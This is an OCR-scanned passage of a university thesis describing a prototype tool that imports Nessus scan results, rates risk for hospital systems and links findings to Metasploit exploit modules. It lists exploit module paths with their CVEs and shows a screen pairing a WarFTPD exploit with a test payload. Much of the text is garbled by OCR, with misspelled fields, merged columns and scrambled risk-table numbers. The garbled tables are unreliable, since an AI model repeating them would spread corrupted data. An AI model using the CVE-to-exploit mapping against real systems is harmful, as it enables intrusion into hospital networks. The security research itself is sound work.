framework/modules/exploits/aix/rpe_cmsd_opeode21.rb
2 CVE-2009-2727 aix/rpc_ttdbserverd_realpath fusr/share/metasploit-
framework/modules/exploits/aix/rpe_ttdbserverd_realpath.rb
3 CVE-2006-3459 apple_ios/browser/safari_libti | fusr/share/metasploit-
ff framework/modules/exploits/apple_ios/browser/safari_libtiff.rb
4 CVE-2004-2221 bsdi/softcart/mercantec_softc fusr/share/metasploit-
art framework/modules/exploits/bsdi/softcart/mercantec_softcart.rb
5 CVE-2001-0797 dialup/multiflogin/manyargs fusr/share/metasploit-
framework/modules/exploits/dialup/multiflogin/manyargs.rb
6 CVE-2010-4221 freebsd/fip/profip_telnet_iac fusr/share/metasploit-
framework/modules/exploits/freebsd/ftp/proftp_telnet_iac.rb
7 CVE-2003-0201 freebsd/samba/trans2open fusr/share/metasploit-
framework/modules/exploits/freebsd/samba/trans2open.tb
8 CVE-2002-1473 hpux/Ipd/cleanup_exec fusr/share/metasploit-
framework/modules/exploits/hpux/lpdicleanup_exec.rb
9 CVE-2001-0800 irix/lpd/tagprinter_exec Jusr/share/metasploit-
framework/modules/exploits/irix/lpd/tagprinter_exec.tb
10 | CVE-2008-5499 linux/browserfadobe_flashpla | /usrt/share/metasploit-
yer_aslaunch framework/modules/exploits/linux/browserfadobe_flashplayer_aslaunch.
b
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2. Coding is created, modified, and compiled module functions using a
programming language by dividing into the following two steps: 1) Creating a
Function Demo and 2) Integrating modules.

a. Creating a Function Demo is the step for creating, writing and
debugging functions and statements in a program by dividing into the following eight
functions: 1) XML Upload; 2) CSV Template Upload; 3) Manual Add/Edit Data; 4)
Analyze Risk; 5) Evaluate Risk; 6) Risk Report; 7) Check Full-Disclosure and 8)
Simulation Exploit as shown in Tables 3.13 - 3.19.

Main > Vulns Import > Vulns Evaluate > Risk Rep > Verify Vulns -
Main Menu
Vulns Import XML Upload
Vulns Evaluate
Brows File Upload
sk Fosor SN
Verify Vulns
Figure 3.14 XML Upload Prototyping
Main = Vulns Import = Vulns Evaluate = Risk Rep = Verify Vulns -

Main Menu

Vulns Import CVS File Upload i

Wulns Evaluat E— =

uins cvaluate - o
Risk Report

Verify Vulns

Figure 3.15 CSV Template Upload Prototyping



Surapol Ruaysungnoen Research Methodology / 46

e

Vulns Evaluate and Verify

Main = Vulns Import = Vulns Evaluate > Risk Rep = Verify Vulns -
Main Menu
Vulns Import Add/Edit Vulnerability
Vulns Evaluate E
_ [rext |
Risk Report
[rext |
Venfy Vulns
| text goes here
|1’axf
|
16 0 I

Figure 3.16 Manual Add/Edit Data Prototyping

o

‘ulns Evaluate and Verify

Main > Vulns Import > Vulns Evaluate > Risk Rep = Verify Vulns -
Main Menu
Vulns Import Risk Assessment
Vuins Evaluate Edit | Delect
Rk et T 7 = S v N e
Verify Vulns 3 E High
1 1 Low
1 & Low
1 1 Low

Figure 3.17 Analyze Risk and Evaluate Risk Prototyping

e

‘ulns Evaluate and Verify

. Main = Vulns Import = Vulns Evaluate = Risk Rep > Verify Vulns -
Risk Report

Vulns Import ep ol B
Vulns Evaluate

Risk Report

Verify Vulns Low High

|
L L L L L L L L L L L L] |

Figure 3.18 Risk Report Prototyping
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Vulns Evaluate and Verify

i Main = Vulns Import = Vulns Evaluate > Risk Rep > Verify Vulns -
Main Meny
Vulns Import Verify Vulns
Vuins Evaluate :
Text
Risk Report
. | —
1 Critical (CVEDD1 W SECKXN.COM msf001
z High (CVEDO2 WWW.SECKXX.COM
|3 Low CVEDO3

[CCECCECEECEEEEEEEEEET ]

Figure 3.19 Check Full-Disclosure Prototyping

%

‘ulns Evaluate and Verify

Main = Vulns Import > Vulns Evaluate = Risk Rep = Verify Vulns

Main Menu N
Vulns Import Verify Vulns
s Elte [oerete ™ 7] |
Risk Report
- B |

rify Vulns

|
|

NN

Figure 3.20 Simulation Exploit Prototyping

b. Integrating modules is the step combining all functions into one

program including the following three main functions: 1) Import; 2) Evaluate and 3)
Examine/Confirm as shown in Figure 3.20.

Evaluate

Figure 3.21 Integrated Functions
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3.3.2 Test is the process of checking and confirming bugs in the
functions of programs and one prototype tool, including fixing programs in the
recommendations by dividing into the following two steps: 1) Test Demo and 2)
Feedback.

1) Test Demo is the step of checking the function demo and debugging a
program.
2) Feedback the step of fixing programs according to the

recommendations.

3.4 Utilization Phase

This procedure is the process of utilizing prototype tools used to support
risk evaluation and verification vulnerabilities divided into the following two steps: 1)
Apply and 2) Report.

1. Application is the step of using prototype tools for risk rating and
confirming the vulnerabilities detected in sample testing.

2. Reporting is the step of summarizing the results, including vulnerability

scan issues, risk levels, risk rating, vulnerability references and recommendations.

3.5 Research Schedule

Table 3.20 Research Schedule

1) Literature Review : Study and analysis Analysis
healthcare security , Security risk assessment result
h] guide, and Penetration testing or vulnerability
5 assessment guide
2.1) Defined and classify process to find key Functions
_processof Security Assessment 0oL ] Scope
o g 2.2) I_—_lnd key process to develop prototype
L functions
%§ ,3.1) Determine function and detailed design | 1L s G Prototype
Tp 3.2) Develop prototype tools Tool
c 4) Apply prototype tools and Report Security Risk
= Report
N
o




Fac. of Grad. Studies, Mahidol Univ. M.Eng. (Computer Engineering) / 49

CHAPTER IV
RESULTS

This chapter summarizes security assessment and the development of a
prototype tool to support the security assessment process in security risk evaluation

and verification of vulnerabilities for hospital information security in Thailand.

4.1 Security Assessment Scope

4.1.1 Studying best practice for risk assessment with the following
standards applied: ISMS, NIST SP800-30, OWASP and HIPPA. The aforementioned
can be synthesized, compared and applied to the group risk assessment processes

shown in Tables 4.1 - 4.3.

Table 4.1 IT Risk Assessment Guide Analysis Table

GUIDELINE
No Grouping
ISMS NIST SP800-30 OWASP HIPAA
. - Determine system
1 Identify major assets System NA characterization
charactenization
2 Assess asset value in terms System mission Information
5 | Wentify threats & Threat& Vulnerability Identify any vulnerability or | O2thering
vulnerabilities identification Identifying Risk weakness in security
4 NA Control analysis procedures or safeguards
5 Likclih_uud. E..xtin'!.aling NA
NA determination Likelihood
6 Impact analysis Estimating Impact Identify impact Information
Determining Evaluation
7 Identify measures of risk Risk determination Severity of the NA
Risk
8 Security Requirements Control Deciding What to Recommend security
9 Security Controls recommendations Fix controls
10 Reduce Risks Recommend
NA
11 Risk Acceptance NA NA
12 NA Determine residual risk
13 NA Results documentation NA Document all outputs Document
Customizing Your -
14 NA NA NA F
Risk Rating Model 1xmg
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Table 4.2 Risk Assessment Guide Comparison Table
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GUIDLINE
No Process Activity
ISMS NIST OWASP HIPPA
1 System characterization v v % v
Informati
2 ].1 ormation Identify threats & vulnerabilities v v v v
Gathering
3 Control analysis x v v v
4 Likelihood determination x v v %
5 Information Evaluation Identify Impact ® v v v
6 Risk determination v v v "
7 Recommend security controls v v v v
8 Recommend Reduce Risks & Risk Acceptance v " . =
9 Determine residual risk x x X v
10 Documentation Results documentation x v x v
11 Improvement Customizing Your Risk Rating Model * x v ®

Table 4.3 Risk Assessment Guide Grouping Table

1 System characterization Exclude (OWASP)
2 Information Identify threats ALL

2 Gathering Identify vulnerabilities ALL

3 Control analysis Exclude (ISMS)

4 Likelihood determination NIST, and OWASP
5 IE‘f;Hj“aﬁ‘:l" Tdentify Impact Exclude (ISMS)

6 Risk determination Exclude (HIPPA)
7 Recommend security controls ALL

8 Reduce Risks ISMS

9 Recommend Risk Acceptance ISMS

10 Determine residual risk HIPPA

11 Documentation Results documentation ALL

By this educational IT risk assessment guideline, we can define the

methodology of IT risk assessment for this research as divided into the following three

main processes: 1) Information Gathering; 2) Information Evaluation and 3)

Recommendation and Documentation as shown in Figure 4.1.



Fac. of Grad. Studies, Mahidol Univ. M.Eng. (Computer Engineering) / 51

Identify

Information Gather Information (Threat,
Gathering Security Risk

Vulnerability, Attack ,and Impact)

JI_)[ Dstermine ]
.......................................... T  [Funs]

Recommend & [

Estimating
Likelihood

Estimating

Information
Impact

Evaluation

Document

Control Recommend & Result ] .

Figure 4.1 IT Risk Assessment Methodologies

Process 1 (Information Gathering) involves data collection and
determining or identifying IT risk/vulnerability.

Process 2 (Information Evaluation) involves estimating
likelihood and Impact, as well as determining risk levels.

Process 3 (Recommendation and Documentation) involves

reporting a summary overview and risk evaluation of the process for improvement.

4.1.2 Studying best practice for penetration testing applied the
NIST SP800-115, ISSAF, SANS, PTES and OWASP. The

aforementioned can synthesize, compare and group penetration testing processes as

following standards:

shown in Tables 4.4 and 4.5.

Table 4.4 Penetration Testing/Vulnerability Assessment Guide Analysis

GUIDELINE
No Grouping
NIST SP800-115 OWASP ISSAF(OISSG) PTES SANS
1 Planning : rules are NA Planning and NA Planning and Planning
identified, management preparation : Determine Preparation
approval, and testing object, scope
goals
2 Discovery : actual testing, Passive (information Assessment: Intelligence Information AsSessme
information gathering, and gathering, and Information Gathering, Gathering Gathering an nt
vulnerability analysis understand application’s Network Mapping, d Analysis
logic) Vulnerability
Active (testing: Idmtiﬁc.ati on fmd Vulnerabilit Vulnerability
Management, Business Penetratico, .(fammg y Analysis Detection
Logic, Authentication , Accn:sx_& Privilege .
3 Attack: Gaining access, Authorization, Session Escalation, Enumerating Exploitation Penetration Verify/
and Escalating privileges Management, Data Further, Compn.?misc Attempt Attack
Validation , Denial of | Remote Users/Sites,
Service , Web Services, Maintaining Access,
and Ajax ) and Covering Tracks
4 Reporting: Risk Risk rating and Report Reporting : Cleaning , Reporting Analysis and Report
assessment and Reporting Risk assessment and Reporting
Reporting Cleaning Up
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Table 4.5 Penetration Testing/Vulnerability Assessment Guide Synthesis &

Comparison
Guideline
No Process Activity
NIST | ISSAF |OWASP|PTES |SANS
1 |PLANING Indentify objective v v ® x v
2 Determine scope v v ® x v
3 |ASSESSMENT Information gathering /Foot printing | - o v v v
4 WVulnerability Scanning /Testing v o v o v
5 |VERIFY /ATTACK |Gaining Access ¥ v v ¥ v
7 Exploitation v v v v v
8 [REPORT identifying vulnerability v v v v v
9 risk assessment v v v v v
10 recommended v v v v v
11 result testing or Finding v v v v v

From this educational penetration testing guideline, a security risk
assessment process can be defined and divided into the following four main processes:

1) Planning; 2) Assessment; 3) Verification and 4) Reporting as shown in Figure 4.2.

' s N
PLANNING Define . )
Objective ] Determine Scope & Planning

ASSESSMENT ( Information ]/ . J [ Scanning/ )
Footprint

Gathering > Testing
_______________________________________________________________________________ | —
2
N N
VERIFY Analyze & Check Full- E—
Gaining Access > Disclosure P )
]
............................. .f--_---_-_-_ T T, . . - e e e e e ——
REPORT IT Risk - F——— Document all
Assessment Finding

Figure 4.2 Security Risk Assessment methods
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Process 1 (Planning) is a planning and determining the rules,
scope and objectives of security assessment processes by dividing into the following
two processes: 1) Defining Objectives and 2) Setting the Scope and Planning.

Process 2 (Assessment) is an information system assessment of
objectives for identifying the vulnerability occurrence in the information system by
dividing into the following two processes: 1) Information and Footprint Gathering and
2) Scanning and Testing.

Process 3 (Verification) is using information from identified
vulnerabilities discovered by the assessment process for examining and confirming the
direction of server attacks by dividing into the following two processes: 1) Analyze
and Gain Access and 2) Check for Full Disclosure/Exploitation.

Process 4 (Report) is collecting all information from system
testing on the vulnerability after the end of testing. The report will include the
identification of vulnerabilities, risk assessment and suggestions indicated by the
aforementioned vulnerabilities by dividing into the following two phases: 1) IT Risk

Evaluation and 2) Documentation and Recommendations.

4.2 Prototype Tools

4.2.1 Process Selection is the step for analyzing and choosing a process
for developing prototype functions supporting security risk assessment. For this
process, the results involved the following two processes: 1) Risk Evaluation and 2)

Vulnerability verification.

Table 4.6 Security Assessment Process Analysis

Factor Levels value -
FI] Ainor or low Pricvine
2] Moderate or Medium Priority
3] Majer or High Priority
No Process Activity Complex | Explicis | “SPecific ol Total | Rank
Ekmowledge| suppores
Indentify objective /
1 [PLANING neently ohjective 1 2 1 3 7 s
Determine scopa
Information gathering
z . 3 2 2 z b k- 2
e VFoot printing
ASSESSMENT | bili
ulnerability > a P > . 3
Scanning STesting
WERIFY Check Full-
3 - . . - 3 3 3 2z 11 2
ATTACEK Disclosure/Exploitation)|
i REPORT n:;k.l assessu}en‘l £ result 3 a P P 12 X
testing or Finding
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4.2.2 Define Functions is the step for determining a function and detailed
designs of prototype tools to support risk evaluation and verification vulnerabilities.
For this step, the results involve the following three main functions: 1) Importing; 2)
Evaluating and 3) Examining/Confirming as shown in Tables 4.7 and 4.8.

Table 4.7 Determine Functions

Main Functions

Sub-Function

Details Functions

Import is functions
of bringing the
vulnerability scan
result, analyze data
into risk evaluate

data

1.1 XML Upload

Xml upload is functions of import xml result from nessus
vulnerability scan tool. divided into 3 process that is 1) Brow and

Choose File , 2) Import Data, and 3) Result upload

1.2 C5V
Template Upload

CSV Template Upload is functions of import csv template from
insert vulnerability data into csv template. divided into 3 process
that is 1) Brow and Choose File , 2) Import Data, and 3) Result
upload

1.3 Manual
Add/Edit Data

Manual Add/Edit Data is functions of insert and modify
vulnerability data in prototype tool. divided into 5 process thatis
1) Insert, 2) Change, 3) Delete, 4) Show Data, and 5) Find Data

check vulnerability
reference or
mailing list full-
disclosure or
simulation exploit

testing.

2 | Evaluate is 2.1 Analyze risk Analyze risk is functions of analyze, determine, normalize risk
functions of data. divided into 2 function that is 1) Decompose Data, and 2)
analyze, determine, Estimate Data
normalize risk data | 2.2 Evaluate risk Evaluate risk is functions of calculate impact value, likelihood
and calculate value, risk level, and risk rating. divided into 2 function that is 1)
impact value, Calculate Risk Value, and 2) Risk Rating Mapping
likelihood value, 2.3 Risk report Risk report is functions of summary and reporting risk rating.
risk level, and risk divided into 4 function thatis 1) Show Data, and 2) Show Report,
rating. 3) Export Data , and 4) Print Report

3 | Examining/Confirm | 3.1 Check full- Check full-disclosure is functions of mapping vulnerabilities
is functions of disclosure that discovered and show reference or mailing list full-disclosure.

divided into 3 function that is 1) Show Data , 2) Find Data, and 3)
Details Reference

3.2 Simulation

exploit

Simulation exploit is functions of simulation exploit testing
sample. divided into 5 function that is 1) Show Data , 2) Find
Data, 3) Change Data, 4) Detail Exploit Code, and 5) Testing
Sample
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No Activity Functions Details
1 | Browand Choose File Xml upload 1.System show User Interface
CSV Template Upload | 2.User choose XML file or CSV Text file
form Local file
2 | Import Data Xml upload 1.System read data file
CSV Template Upload | 2.System connect Database
3.System write data into Database
3 | Result upload / Show Data Xml upload 1.System show write Data Result or show
CSV Template Upload | Table data Result
4 | Insert Data Manual Add/Edit Data | 1.System show User Interface
2.User key in data Records
3 System read data Records
4 System connect Database
5.System write data into Database
5 | Change Data Manual Add/Edit Data | 1.System show User Interface
2.User select data Record
3.User Edit data Record
4 System read data Records
5.System connect Database
6.System write data into Database
6 | Delete Data Manual Add/Edit Data | 1.System show User Interface
2.User select data Record
3 System read data Records
4.System connect Database
5.System delete data into Database
7 | Show Data Manual Add/Edit Data | 1.System connect Database
Risk report 2.System read data
Check full-disclosure 3. System Show data in User Interface
Simulation exploit
& | Find Data Manual Add/Edit Data | 1.System show User Interface
Check full-disclosure 2.User key in data Find
Simulation exploit 3. System read data Records
4 System connect Database
5.System read data
6.System Show data in User Interface
9 | Decompose Data Analyze nisk 1. System connect Database
10 | Estimate Data Analyze risk 2. System read data
11 | Calculate Risk Value Evaluate nisk 3 System calculate and assess data
12 | Risk Rating Mapping Evaluate risk 4 Database choose , combine , calculate,
assess, and mapping risk data
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Table 4.8 Detailed Designs (Cont.)
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No

Activi

Functions

Details

13

Show Report

Risk report

1.System show User Interface
2.User choose report
3.System connect Database

4. System read data

5.System Show Report

14

Export Data

Risk report

1.System show User Interface
2.User choose report
3.System connect Database

4 System read data

5.8ystem Export data

15

Print Report

Risk report

1.System show Report
2.User choose print report
3.System print report

16

Details Reference

Check full-disclosure

1.System connect Database

2. System read data

3. System Show data in User Interface

17

Detail Exploit Code

Simulation exploit

1.System show User Interface

2.User choose Record and select Info

3. System Show Exploit Info

18

Change Details

Simulation exploit

1.System show User Interface
2.User choose Record

3.User change Details

4.User choose Test

5.System exploit testing

6. System Show Exploit Result

19

Testing Sample

Simulation exploit

1.System show User Interface
2.User choose Record

3.User choose Test

4.System exploit testing

5. System Show Exploit Result
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4.2.3 Prototype Design is the step for designing and creating a prototype
model to construct a prototype tool. For this step, the results were the following 19
prototype models: 1) Browse and Choose Files; 2) Import Data; 3) Upload
results/Show Data; 4) Enter Data; 5) Change Data; 6) Delete Data; 7) Show Data; 8)
Find Data; 9) Decompose Data; 10) Estimate Data; 11) Calculate Risk Value; 12)
Risk Rating Mapping; 13) Show Report; 14) Export Data; 15) Print Report; 16)
Details Reference; 17) Detail Exploit Code; 18) Change Details and 19) Test Samples
as shown in Appendix A . Examples of prototype designs are shown in Figures 4.3 —
4.4,

Main = Vulns Import = Vulns Evaluate = Risk Rep > Verify Vulns

Main Menu
Vulns Import [

= ]
Vulns Evaluate

oper BE

Risk Report

Verify Vulns

Figure 4.3 Brows and Choose File and Import Data Prototyping

Main = Vulns Import = Vulns Evaluate = Risk Rep > Verify Vulns

Main Menu
Vulns Import —
= - [

Vulns Evaluate

Risk Report

o Success Or Unsuccess
Verify Vulns

Figure 4.4 Result upload Prototyping
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4.2.4 Development is the step for constructing prototype tools to support
risk evaluation and verification of vulnerabilities by using PHP programming language
and the MySQL database. The results were the following two prototype demos: 1)
Risk evaluation module and 2) Vulnerability verification module.

1) Risk Evaluation Module

A. Create Risk Evaluation Data is the step for creating tables and views in
database form. This step resulted in the following 15 tables: 1) Main Vulns Table; 2)
Risk Desc Table; 3) Business Impact Table; 4) CVSS View; 5) OS View; 6) Solution
View; 7) Desc View; 8) MTS View; 9) CVE View; 10) Vuln View; 11) Vulnl View;
12) Vuln2 View; 13) Summary View; 14) Rep OWASP View and 15) Rep NOWASP
(see Appendix B) as shown in Table 4.9.

Table 4.9 Example Vulns Table

No | Name Type Collation Null | Default | Extra
1 | no nt{11) No None AUTO INCREMENT
2 | name text utf8 general ci Yes | NULL
3 | name2 varchar(15) utf8_peneral ci Yes | NULL
4 | tag text utf8 general ci | Yes | NULL
5 | name3 text utf8 peneral _ci Yes | NULL
6 | port text utf¥ _peneral_ci Yes | NULL
7 | svc_name text utf8 general ci Yes | NULL
8 | protocol text utf8_peneral ci Yes | NULL
9 | pluginlD varchar(20) | utf8 peneral ci Yes | NULL
10 | pluginName text utf¥ _peneral_ci Yes | NULL
11 | pluginFamily text utf8 general ci Yes | NULL
12 | description text utf8 peneral ci | Yes | NULL
13 | fname text utf8 general c¢i | Yes | NULL
14 | plugin_type text utf8 general ci Yes | NULL
15 | risk_factor text utf8 peneral ci | Yes | NULL
16 | solution text utfd_general ci Yes | NULL
17 | synopsis text utf8_peneral ci Yes | NULL
18 | cve text utf¥ _peneral_ci Yes | NULL
19 | cvss _base score text utf8 general ci Yes | NULL

20 | cvss_vector text utf8_peneral ci Yes | NULL

21 | see_also text utfd_general ci Yes | NULL

22 | metasploit name text utf8 peneral ci Yes NULL
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B. Create Risk Evaluation Module is the step for creating, writing and
debugging function statements. This step resulted in the following nine prototype
demos: 1) Vulnerability Assessment Menu; 2) Upload XML Menu; 3) Upload CSV
Menu; 4) Add/Edit/Delete Vulnerability Menu; 5) Vulnerability Assessment Report;
6) Show Vulnerability Summary Report; 7) Show Vulnerability Report; 8) Export
CSV Vulnerability Report and 9) Print Vulnerability Report as shown in Figure 4.5 -
4.13.

’ Yulnerability RISk Analysis Tool

Cortactus ‘ulnerability A nent

ufla/ffuinAlhindauasnuidasnsanaaing

Manual

! uflyTufindouaiauasy

File import

unTaua Nessus/Nikto XML W&

sindheiayaan Template CVS s

Contact us

Uginziaya XLM tiailsuiiiusvduanuidaoas
ni

-
-1
[ [ Bowse | Taladanitasings Upload vls

Figure 4.6 Upload XML Menus
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yulnerability RISk Analysis Tool
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Figure 4.10 Show Vulnerability Summary Report
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Figure 4.12 Export CSV Vulnerability Report
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C. Test/Feedback is the step for confirming bugs and fixing prototypes.

This step resulted in the following two processes: 1) checking and confirming bugs

and 2) fixing prototype demos as shown in Tables 4.10 and 4.11.

Table 4.10 Check/Confirm Bugs Report (Vuln)

No Prototype/Function Test Case Results Comment
1 |[Upload XML Test import xml files v -
2 [Upload CSV Test import csv template files v -
3 [Add/Edit/Delete Vulnerability [Test Add Records/Edit and Delete Record v -

Show Vulnerability Summary .S
v -
4 Report Test open vulnerability report
5 [Show Vulnerability Report Test open vulnerability report ¥ -
6 Export CSV Vulnerability Test export csv files v ~
Report
7 |Print Vulnerability Report Test print vulnerability report v

Table 4.11 Feedbacks and Fixing Prototype Demo Report (Vuln)

Prototype/Function

Recommend

Upload XML

Upload CSV

Add/Edit/Delete Vulnerability

Show Vulnerability Summary Report

Show Vulnerability Report

Export CSV Vulnerability Report

e I = L T S (R P O

Print Vulnerability Report
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D. Integration is the step for combining all prototype demos into a module.

This step resulted in the following risk evaluate module as shown in Figure 4.14.

Vulnerability

About Us BIA : Business Impact

Assessment

VA : Vulnerability
Assessment

Vulnerability Verify Report Contact us

Figure 4.14 Vulnerability Risk Analysis Tool Main Menu

2) Vulnerability verification module

A. Create Vulnerability Verification Data is the step for creating tables and
views in database form. This step resulted in the following six tables: 1) Full
Disclosure Table; 2) ExploDB Table; 3) Msfvulns Table; 4) Paylo Table; 5) Vmsfall
View and 6) Rep_cvss View as shown in Table 4.12 -4.13.

Table 4.12 Example Full-disclosure Table

No | Name Type Collation Null | Default | Extra
1 | CVE varchar(13) utf8_general_ci Yes NULL
2 | FullDisc | varchar{196) utf¥_general ci Yes NULL
3 | Date varchar{11) utf® general ci Yes [ NULL
4 | Link varchar{67) utf8_general ci Yes [ NULL

Table 4.13 Example ExploDB Table

No | Name Type Collation Null | Default Extra
1 | EDB_ID int(5) Yes NULL
2 | CVE varchar(14) utf8 general ci Yes | NULL
3 | file varchar(42) utf8_general_ci Yes NULL
4 | description varchar(142) utf8_general_ci Yes | NULL
5 | date int(5) Yes NULL
6 | author varchar(30) utf8_general ci Yes [ NULL
7 | platform varchar( 1(}) utf8_general ci Yes NULL
8 | type varchar(7) utf8_general ci Yes NULL
9 | port int(5) Yes NULL
10 | link varchar(41) utf¥_general_ci Yes NULL
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B. Create Vulnerability Verification Module is the step for creating,
writing and debugging function statements. This step resulted in the following four
prototype demos: 1) Vulnerability Verification Usage Report Menu; 2) Vulnerability
Verification Report Menu; 3) Finding Exploit Code Menu and 4) Changing Exploit
Code Menu as shown in Figures 4.15 -4.18.

yulnerability Risk Analysis Tool

VULNERABILITY VERIFY
Contact us

Figure 4.15 Vulnerability Verify Using Report Menu
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Figure 4.17 Find Exploit Code Menu
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Verify : Sample Exploit Testing

ExploitID : CVE-1898-0258

Exploit Code : exploit'windows/ftp/warftpd_185_user

Payload : payload/windows/messagebox E
Host/IP Address :

Figure 4.18 Change Exploit Code Menu

C. Test/Feedback is the step for checking, confirming bugs and fixing
prototypes. This step resulted in the following two processes: 1) checking and

confirming bugs and 2) fixing prototype demos as shown in Tables 4.14 and 4.15.

Table 4.14 Check/Confirm Bugs Report (Vuln)

No Prototype/Function Test Case Results Comment
Vul bility Verify Report .
1 N ity Verify Repo Test select and use exploit code v -
Prototyping
2 |Find Exploit Code Prototyping Test search and use exploit code v -
Ch Exploit Cod .
3 ange . xplot © Test change and use exploit code v -
Prototyping

Table 4.15 Feedback and Fixing Prototype Demo Report (Verify)

No Prototype/Function Recommend
1 |Vulnerability Verify Report Prototyping Add Check Full-Disclosure
2 |Find Exploit Code Prototyping Use MS Windows Exploit code

3 |Change Exploit Code Prototyping -

D. Integration is the step for combining all prototype demos into modules.

This step resulted in a vulnerability verification module as shown in Figure 4.19.

__ Vulnerability Risk Analysis Teol

Contactis Vulnerability
nasag/fudurasling
Verify : By CVE/OSVDB/MS ID

¥ vesavfuiuiaodananmmnaandasing

Verify : Vuln Report

nasaw/fudusmatasTniviwues sz

Figure 4.19 Simulation Exploit Prototyping
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3) Integration is the step for combining all prototype demos into one
prototype tool. This step resulted in security risk evaluation and vulnerability

verification tools as shown in Figure 4.20.

Vulnerability.Ri

About Us BIA : Business Impact VA : Vulnerability
Assessment Assessment

Vulnerability Verify Report Contact us

Figure 4.20 Vulnerability Risk Analysis Tool Main Menu
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4.3 Utilization and Security Risk Report

4.3.1 Utilization is the step of developing prototype tools used for risk
evaluation and confirmation of vulnerabilities samples testing. This step resulted in
security risk evaluation, a risk assessment report and a vulnerability verification
report. The results of the risk evaluation are shown in about Appendix C. Examples of
risk evaluation are shown in the data in Table 4.16 -4.17.

Table 4.16 Risk Evaluate Result Hospital A

Likhx
Cw E t I Busi Likh OWASP
NO Vulnerability 5 xphct i el cvss New P
Vector ability pact Impact mpact | xImp — +
ASP.NET DEBUG CVSSHAVIN/ACL XXX XXX
= . .
! Method Enabled FAUNICNAPIAN ’ Ly S petem | 2 Thigh | 35
52:];?\?;:11&:“::-5:3: CVSEZEAVIAC: 0NN
2 ! y MY/ ANC N PRA: 773 257 35 286 3l 3. medium 3l 3 medium )
omalogin html DOM- N xxx 11
based X85
CVSSIEAVNIAC: XXX XXX
3 444 257 35 286 21 41 21 4 low
FTP Supports Clear Text | )y NIC-PIEN/A: o ool
A - N N
4 475 342 21 4 low 2 3 medium )
xxx.25
HP System Management
CVSS2#AVIN/ACL . i KXXXXX.
5 I!nmepage < 7..0_ . TALNIC CILCIAC 9 9 4.75 6.64 33 1.critical 33 Leritical 25
Muliiple Vulnerabilities
HP System Management
CVSSHAVN/ACL Y - AL XXX
<
[ Ill.erpnge 1 1I JANIC-CI-CIAP 9 59 475 6.43 33 2 high 33 Leritical 25
Multiple Vulnerabilities
et | cvsmmunac -
7 . page= 120 MY AWN/CCALCIA: 7.73 9 475 .64 33 2 high 33 Leritical )
iprange Parameter Code c xxx25
Execution
HP System Management
CVSSZHAVN/ACL . . KAL XXX
B IIﬂlmx:page < 7_2: ll) JAUNIC-CIINAAN 9 6.18 4.75 523 33 2 high iz 2 high oo ds
Multiple Vulnerabilities
HP System Management
CVSS2EAVNFAC: . . KA XXX
9 I!.omepage < 7..3_ ) M/AWN/C-PA-PIA-P 773 58 475 504 32 3 medium 32 2 high XXX.25
Multiple Vulnerabilities
HP System Management
Homepage CVSS2#AVINIACL R i XK XXX.
10 7.16 9 475 .64 33 2 high 33 1. 1
ginkgosnmp.ine JAUSIC-CLCIAC '8 et | oc2s
Command Injection
IBoss Enterprise
Application Platform
CVSS2#AVINJACL . R KXXXXX.
11 (EAP) Status Servlet SALNICPINAN 9 2.57 375 297 3l 3.medium 31 J.medium o 100
Request Remote
Information Disclosure
Microsoft Windows
Remote Deskiop CVSSIBAVNIAC: . . XXX XXX
12| brotocol Server Manin- | HAuwNCPAPAP | 8 313 459 2 3.medium 2| dmedium | 100
the-Middle Weakness
Microsoft Windows
. CVSSHAVN/ACL . . AL XXX
13 SMB NU L_L St.ESSIUI‘I IALNIC-PIINFAN 9 257 35 286 3l 3. medium 3l 3 medium el
Authentication
Multiple Server Crafied
Request WEB-INF CVSSHHAVN/ACL . . KX XXX.
14 9 257 375 297 3l 3.med 3l 3 med
Directory Information | /Au:N/C:P/NJAN um Mt v 100
Disclosure
MySQL Protocol
CVSSHAVN/ACL . ) HOLXNK.
15 Remote l_.‘.ser JALNIC-PIENIAN 9 257 475 342 3l 3. medium 3z 2 high 25
Enumeration
Oracle TNS Listener CVSSHAVIN/ACL XXX XXX
16 9 58 375 459 32 2 high 32 2 high
Remote Poisoning [AWN/C-PIPIAP " ' xxx.100
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Likhx
Cvss Exploit Im Busines | Newl Likh
N Vulnerability Cvss N WASP+ P
L Vector ability | pact | slmpact | mpact | ximp 1:; g
PHP <52.10 Multiple | CVSS2#AV:N/AC:H ) ) XKL,
7 Vulnerabilities {AUN/C:P/I:P/AP 444 38 33 447 2| 3medium |\ 22| 3medium | gy
PHP <5211 Multiple | CVSS2#AVN/AC-L _ ) oo
18 Vulnerabilities JAWN/C:P/I:P/A:P ? 58 35 447 2 2high 32 2 high sx 11
PHP <5212 Multiple | CVSS2#AVN/AC: - ) ALK
19 Vulnerabilities MAUNICPLPAP | 23 33 447 | 32 ) 3medium | 32 2 high sl
PHP <520 Multiple | CVSS2EAVNJAC-L - ) FOTRTY
20 Vulnerahilities JALNICNIN/AP 9 237 33 28 | 31 ) 3medium | 31 | Jmedium | 0
PHP <5311 Multiple | CVSS2#AVN/AC-L ) ) oo
2 Vulnerabilities JTAWN/C:PT:P/AP 9 “ 35 a7 u 2high 32 2 high xx 11
PHP<53.12/542
. CVSSIRAVNIAC: = . A XXX,
22 | CGlQuery StringCode |\ LAWCET L | 1T 7.7 35 542 | m; 2 high Eb) 2 high -
Execution
PHP<532/52.13 | CVSSZEAVN/ACL - ) ALK
2| Multiple Vulnerabilities | /Au-N/C:P/LP/A:N ? 445 33 7% g0 Toodiunyl 32 2 high preall
PHP <539 Multiple | CVSS2EAV-NJAC-L _ ) OOLRRK
24 Vulnerabilities TAWN/C:PI:P/AP 9 g5 33 447 2 Zhigh & 2 high sax 11
PHP52<52.14 CVSS2EAVNIACL PrTETT]
25 9 58 35 447 | 32 2hi 2 2high
Multiple Vulnerabilities TAWN/C:PIP/AP gh ® w11
PHPS2<52.15 CVSS2#AVNIAC: TR
2 7.73 58 35 447 | 32 | 3.medi 32 2.high
Multiple Vulnerabilities | M/AuwN/C:P/:PIAP um ® xxcll
PHP52<5217/53<
- CVSS2#AVINFACL . . A0 XNX.
27 | s3sswingToDowble | "0 C0 0 o 9 257 35 286 | 31 | 3medum | 31 | 3medium | UE
Conversion DoS
PHP expose_php CVSS2HHAVINIACL . . XX XXX,
B | nformation Disclosure | /AUN/C:PA:N/AN d = f o | %2 | % | 3«cm |22 Zhigh XXX 25
PHP Unsupported CVSSHAVNIAC:L g .. K XXX
2 Version Deteetion JALNIC-CILCIAC P " & 608 | 1 Leguical i 33 Leritical | 11
Admi -
p:p:{l}l; 1 Ct:sz.;li:e CVSIAAY-NALE AL XXX,
